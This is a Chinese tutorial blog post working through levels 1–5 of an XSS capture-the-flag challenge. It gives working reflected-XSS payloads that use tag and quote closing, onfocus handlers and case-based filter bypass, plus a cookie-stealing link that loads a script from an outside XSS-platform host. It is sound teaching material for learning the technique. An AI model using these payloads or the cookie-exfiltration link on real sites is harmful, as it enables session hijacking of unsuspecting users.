当前位置: 首页 > news >正文

ctf xss利用_从xss挑战之旅来重读xss(一)

6fbe5bff6be681ffbdcb4c360649d2b3.png

在开始这篇文章之前,先简单聊几句: - xss很多时候是鸡肋,比如说self-xss - 很多厂商都会注明拒收反射xss,如58src - 遇到请证明危害性的说法就走,人家的潜台词也是拒收反射xss - 遇到收反射xss的,证明截图拿cookies能比alert弹个窗多很多money - xss有时候也值很多钱,比如说某厂商的一个存储xss就给了3.5k

其实我们基本上都知道xss是什么,在给厂商提交漏洞的时候,关键在于着重说明,能影响哪些用户,怎么影响(操作难度问题),能拿到什么(cookies第一)

下面开始正文,先简单介绍下xss,然后以xss挑战之旅来进阶实战xss,视频版周末更新

如果喜欢这篇文章的,麻烦帮忙去我的b站点个关注,点赞,收藏,如果还能投个硬币的话,那就再感谢不过了!你的支持是我创作前进的最大动力!

什么是XSS

  • XSS全称: 跨站脚本(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets)的缩写CSS混合,所以改名为XSS;攻击者会向web页面(input表单、URL、留言版等位置)插入恶意JavaScript代码,导致管理员/用户访问时触发,从而达到攻击者的目的。
  • XSS的危害: 窃取管理员/用户的cookie非法登录
  • XSS类型: 1、反射型 2、存储型 3、DOM型

xss挑战之旅

欢迎来到XSS挑战​xss.tesla-space.com

前情提示:先自我尝试,遇到问题卡住,或者成功进入下一关再来阅读,会收获更多哦~

2f43c437a10765ebc8c5d94024dd1b86.png

第一关

进去首先可以看到,没有任何的输入点,而页面上有一个test(用户名),url中也有一个name参数,猜测是将url中的name获取到的值,直接放入页面导致了xss,我们可以先试一下,看看页面上的值会不会根据name参数得到的值而改变

25bfc8f0f3b051e358d1494c4ec44fea.png

确定了我们的猜想,接下来,我们随便来个payload

http://test.ctf8.com/level1.php?name=<script>alert('hahah')</script>

轻松进入下一关,没有任何过滤。当然,这里作者只是为了一步一步引导xss学习,而不是说实战中就是这么简单(小声bb,确实也有这么简单的)

3b01596f270055aea68e63fe6d421890.png

这里暂停一下,我们先来继续聊聊反射xss能做什么,比如说这里,我们来反射一个cookies看看。由于这个站点没有设置cookies,我就直接手动给他加cookies,来完成我们的问题演示

bde7298cb226f9807f50d0433ef9ec5e.png

接下来,我们来试试,假如黑客要拿到我的cookies,他需要怎么样的一个payload,最简单就是通过xss平台来搞定 请注意!!! 除了ctf或者本地测试,请不要使用网络上的xss平台,因为你能拿到的如cookies数据,这些平台也能拿到,可能你是好心做公益测试,但是cookies的泄露,会给测试厂商带来很大的威胁!

0b2e007e6df373cc88867648a96debf7.png

试试效果,看看能不能搞到我编写的cookies

5e947621e926d04dee81a6553ccae922.png

可以很清楚的看到,已经成功拿到了我编写的cookies。可能对于小白来说,已经有点蒙圈了,我们再来整理一遍逻辑吧 - 首先,通过这个网站,我构造了一个模拟真实的环境:黑客找到一个站点存在反射xss,接下来他想要获取普通用户或者管理员的cookies(这个站点没有cookies,我手动添加了cookies),于是他通过xss平台构造了这样一个链接http://test.ctf8.com/level1.php?name=<script sRC=https://xss8.cc/yAy4></sCrIpT> - 普通用户收到这样一个链接(一般会配合一些文字做干扰),没有注意就点开了,且其已经登陆了这个网站(cookies未失效),所以黑客能轻松拿到用户的cookies,之后就能以普通用户的身份进行任何操作了 可能你会说,这样一个明显有问题的链接,我肯定不会点,但,黑客可以对链接后面的参数进行混淆,添加无意义参数进行干扰,还可以用短链接等等操作,加上很多人的安全意识还没有完全养成,所以说反射xss也是有一定危害的

那你可能会问了,为什么反射xss很多厂商拒绝接受这种漏洞呢?答案当然是,这种漏洞的利用其实非常难,就以cookies举例 - 用户安全意识提高 - 不以cookies做唯一身份令牌,比如说我记录上次登录ip,不一样了就让这个cookies失效要求重新登陆;再比如说结合设备型号,参数等等

简单的反射xss就说这么多了,接下来进入第二关

第二关

和第一关一样的方法,我们先找到可疑的点,当我们改变唯一输入点的时候,页面有两处随之改变

91b2fc1e4ad964bdd32eb4adc4629d50.png

接下来尝试常规payload,不能弹窗,也没有提示下一轮

3aa03bf2ee50805b200140c047d85ef2.png

右键查看源码,发现已经被被编码转义了

&lt;script&gt;alert('Vulnerable')&lt;/script&gt;

而下面的那处,没有被转移,其无法弹窗的原因是没有闭合引号和尖括号

8b57eb81b37fd1ae851dc638be5b80f5.png

我们闭合引号,尖括号即可成功进入下一关,payload如下:

http://test.ctf8.com/level2.php?keyword=1"><script>alert('Vulnerable')</script><&submit=%E6%90%9C%E7%B4%A2

f334d9285264fd9c3314a8d6ef07c55b.png

第三关

和第二关非常的相似,于是我选择使用同样的payload进行测试

d8786db8a2463973fa3ed3dea22453f4.png

这里出现了两个问题: - "无法闭合 - ’变成了",且后面的被编码了 所以首先,我们先可以使用'闭合前面的",之后由于我们出不去这个input标签,那我们就直接在标签内加载js,可选比如说onclick,onfocus等。之后测试发现对于等号后面参数会自动添上"",再就是后面多了一个',我们需要使用//注释掉 最后payload如下:

http://test.ctf8.com/level3.php?keyword=1'onfocus=alert(111)//&submit=%E6%90%9C%E7%B4%A22

8a4f50d2fc275d613363372f8a0faa92.png

08439b17a8e22b72ed7e54e50809b46d.png

第四关

和第三关非常的相似,我们使用"进行value值的闭合,之后直接使用onfocus执行js代码。由于多了一个",所以我们使用//进行注释,也就是说,执行的js代码是:alert(111)//"

1346fa9b9f2e5a0c5192fd56fa6dffa1.png

payload如下:

http://test.ctf8.com/level4.php?keyword=1"onfocus=alert(111)//&submit=%E6%90%9C%E7%B4%A22

第五关

这一关还是和前面几关类似,我们继续使用第四关的payload进行尝试,发现onfocus被拦截了

3716ed958d2653a278aa84b5d6016df4.png

尝试大小写绕过,没想到直接就成功绕过了

8576600591b4de4355f385f9f387776d.png

payload如下:

http://test.ctf8.com/level4.php?keyword=1"oNfocus=alert(111)//&submit=%E6%90%9C%E7%B4%A22

总结

文章的第一部分就到这里结束了,总结一下,我们学习了什么: - 反射xss的原理与危害性在哪里? - 反射xss如何进行弹窗? - 反射xss如何获取用户cookies? - 通过闭合标签,onfocus,大小写,规则猜解来进行反射xss的绕过

如果喜欢这篇文章的,麻烦帮忙去我的b站点个关注,点赞,收藏,如果还能投个硬币的话,那就再感谢不过了!你的支持是我创作前进的最大动力!

文章首发:

【Sp4rkW的博客】记录学习,分享快乐~ - CSDN博客​sp4rkw.blog.csdn.net
74161c6e6fd8b43e336cf9107974a932.png

相关文章:

  • python考研参考书目_Python自学日记28——如何选择学习资料
  • 无法应用转换程序_电脑硬盘无法安装应用程序怎么办?
  • educoder实训平台python入门之运算符的使用_Python入门教程-运算符
  • docker rabbitmq_docker快速部署rabbitmq多机集群
  • python程序设计学生的自我总结_《Python程序设计》学生答疑【20200227】
  • ssl 接收到一个超出最大准许长度的记录_从零编写一个自己的蜜罐系统
  • pythondocumentation_python官方文档
  • python怎么突然这么火_为什么python突然变得这么火了?
  • gdb 条件断点_蜂鸟E203系列——Linux调试(GDB+Openocd)
  • gif分解工具_搞笑 GIF 制作工具
  • python123第四周_百度杯十月第四周WriteUp
  • 数据窗口动态生成列_2020 BAT大厂数据分析面试经验:“高频面经”之数据分析篇...
  • using在sql中是什么意思_粤语为什么那么难学?原来我们都弄错了
  • python123可以复制粘贴吗_python 复制与粘贴处理笔记
  • jmeter随机参数化不重复_Jmeter参数化设置介绍
  • avalon2.2的VM生成过程
  • EventListener原理
  • Java超时控制的实现
  • Koa2 之文件上传下载
  • MQ框架的比较
  • Node + FFmpeg 实现Canvas动画导出视频
  • passportjs 源码分析
  • Vue实战(四)登录/注册页的实现
  • 第13期 DApp 榜单 :来,吃我这波安利
  • 诡异!React stopPropagation失灵
  • 基于webpack 的 vue 多页架构
  • 技术胖1-4季视频复习— (看视频笔记)
  • 要让cordova项目适配iphoneX + ios11.4,总共要几步?三步
  • 自动记录MySQL慢查询快照脚本
  • 阿里云重庆大学大数据训练营落地分享
  • 微龛半导体获数千万Pre-A轮融资,投资方为国中创投 ...
  • ​LeetCode解法汇总518. 零钱兑换 II
  • ​一帧图像的Android之旅 :应用的首个绘制请求
  • !!Dom4j 学习笔记
  • # centos7下FFmpeg环境部署记录
  • (Java实习生)每日10道面试题打卡——JavaWeb篇
  • (Matlab)使用竞争神经网络实现数据聚类
  • (WSI分类)WSI分类文献小综述 2024
  • (附源码)计算机毕业设计ssm高校《大学语文》课程作业在线管理系统
  • (五)c52学习之旅-静态数码管
  • (一)搭建springboot+vue前后端分离项目--前端vue搭建
  • (转)Android学习笔记 --- android任务栈和启动模式
  • (转)MVC3 类型“System.Web.Mvc.ModelClientValidationRule”同时存在
  • (转)nsfocus-绿盟科技笔试题目
  • (转载)从 Java 代码到 Java 堆
  • .[backups@airmail.cc].faust勒索病毒的最新威胁:如何恢复您的数据?
  • .NET CLR基本术语
  • .net core 控制台应用程序读取配置文件app.config
  • .net 打包工具_pyinstaller打包的exe太大?你需要站在巨人的肩膀上-VC++才是王道
  • .net 调用php,php 调用.net com组件 --
  • .NET/C# 解压 Zip 文件时出现异常:System.IO.InvalidDataException: 找不到中央目录结尾记录。
  • .NET/C# 使用 ConditionalWeakTable 附加字段(CLR 版本的附加属性,也可用用来当作弱引用字典 WeakDictionary)
  • .NET开发不可不知、不可不用的辅助类(三)(报表导出---终结版)
  • /etc/motd and /etc/issue
  • /usr/bin/perl:bad interpreter:No such file or directory 的解决办法